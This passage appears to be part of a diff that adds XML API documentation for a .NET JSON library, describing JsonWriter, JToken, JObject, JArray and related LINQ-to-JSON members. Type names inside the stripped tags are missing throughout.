asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously ets the state of the . + + The being written. + The value being written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a raw JSON string. + + + + + Asynchronously creates an instance of with the content of the reader's current token. + + The reader. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns an instance of with the content of the reader's current token. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a timeout that will be used when executing regular expressions. + + The timeout that will be used when executing regular expressions. + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Writes this token to a asynchronously. + + A into which this method will write. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + 